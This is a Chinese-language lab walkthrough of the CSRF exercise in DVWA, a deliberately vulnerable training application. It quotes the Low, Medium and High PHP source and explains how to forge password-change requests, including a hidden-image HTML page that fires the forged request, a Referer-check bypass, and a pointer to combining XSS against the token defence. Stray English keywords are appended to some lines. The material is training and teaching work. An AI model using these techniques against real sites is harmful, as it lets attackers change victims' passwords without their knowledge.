1、漏洞概述php
CSRF(Cross site request forgery ):跨站請求僞造。html
CSRF是指利用受害者還沒有失效的身份認證信息(cookie、會話信息),誘騙其點擊惡意連接或者訪問包含攻擊代碼的頁面,在受害人不知情的狀況下,以受害人的身份向服務器發送請求,從而完成非法操做。mysql
2、工具web
burp suite、firefoxsql
3、測試過程瀏覽器
一、級別:Low服務器
貼上代碼:cookie
1 <?php 2 3 if( isset( $_GET[ 'Change' ] ) ) { 4 // Get input 5 $pass_new = $_GET[ 'password_new' ]; 6 $pass_conf = $_GET[ 'password_conf' ]; 7 8 // Do the passwords match? 9 if( $pass_new == $pass_conf ) { 10 // They do! 11 $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 12 $pass_new = md5( $pass_new ); 13 14 // Update the database 15 $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 16 $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); 17 18 // Feedback for the user 19 echo "<pre>Password Changed.</pre>"; 20 } 21 else { 22 // Issue with passwords matching 23 echo "<pre>Passwords did not match.</pre>"; 24 } 25 26 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 27 } 28 29 ?>
從代碼能夠看出服務器經過GET方式收到更改密碼的請求後會比較參數pass_new和pass_conf是否一致,若是一致會執行修改密碼操做。session
輸入密碼進行更改:xss
點擊change後獲得連接:
http://IP地址/dvwa/vulnerabilities/csrf/?password_new=新密碼&password_conf=確認密碼&Change=Change#
因此咱們構造連接,將兩個參數的值改變便可。
值得注意的是,CSRF是利用受害者的cookie向服務器發送僞造請求,由於不一樣瀏覽器間的cookie不是通用,因此受害着使用同一瀏覽器打開連接時纔會攻擊成功。
ps:因爲連接過於直接,比較容易看出,咱們能夠作一個web頁面進行隱藏。
例如:
1 <html> 2 3 <head> 4 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 5 <title>change</title> 6 <img src="http://IP地址/dvwa/vulnerabilities/csrf/?password_new=新密碼&password_conf=確認密碼&Change=Change#"/> 7 8 </head> 9 <p> success </p> 10 </html>
二、級別:Medium
貼上源碼:
1 <?php 2 3 if( isset( $_GET[ 'Change' ] ) ) { 4 // Checks to see where the request came from 5 if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { 6 // Get input 7 $pass_new = $_GET[ 'password_new' ]; 8 $pass_conf = $_GET[ 'password_conf' ]; 9 10 // Do the passwords match? 11 if( $pass_new == $pass_conf ) { 12 // They do! 13 $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 14 $pass_new = md5( $pass_new ); 15 16 // Update the database 17 $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 18 $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); 19 20 // Feedback for the user 21 echo "<pre>Password Changed.</pre>"; 22 } 23 else { 24 // Issue with passwords matching 25 echo "<pre>Passwords did not match.</pre>"; 26 } 27 } 28 else { 29 // Didn't come from a trusted source 30 echo "<pre>That request didn't look correct.</pre>"; 31 } 32 33 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 34 } 35 36 ?>
咱們發現與low級別相比多了: if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
HTTP_REFERER:http包頭的Referer參數的值,表示來源地址
SERVER_NAME:http包頭的Host參數,即要訪問的主機名
當檢查到 HTTP_REFERER中包含SERVER_NAME的時候,就能夠完成改密碼的操做。
那麼咱們可使用burp suite抓包得到參數:
此時構造一個HTML, 將文件名改成用戶主機IP,放在網站根目錄下打開便可成功攻擊。
三、級別:High
貼上代碼:
1 <?php 2 3 if( isset( $_GET[ 'Change' ] ) ) { 4 // Check Anti-CSRF token 5 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 6 7 // Get input 8 $pass_new = $_GET[ 'password_new' ]; 9 $pass_conf = $_GET[ 'password_conf' ]; 10 11 // Do the passwords match? 12 if( $pass_new == $pass_conf ) { 13 // They do! 14 $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 15 $pass_new = md5( $pass_new ); 16 17 // Update the database 18 $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 19 $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); 20 21 // Feedback for the user 22 echo "<pre>Password Changed.</pre>"; 23 } 24 else { 25 // Issue with passwords matching 26 echo "<pre>Passwords did not match.</pre>"; 27 } 28 29 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 30 } 31 32 // Generate Anti-CSRF token 33 generateSessionToken(); 34 35 ?>
High級別代碼加入了Anti-CSRF token機制,用戶每次執行改密操做服務器都會返回一個隨機的token,向服務器發送請求時須要提交token參數,服務器會優先檢查token,只有token正確纔會處理客戶端請求,這一機制杜絕了利CSRF漏洞修改密碼,需使用xss組合進行攻擊。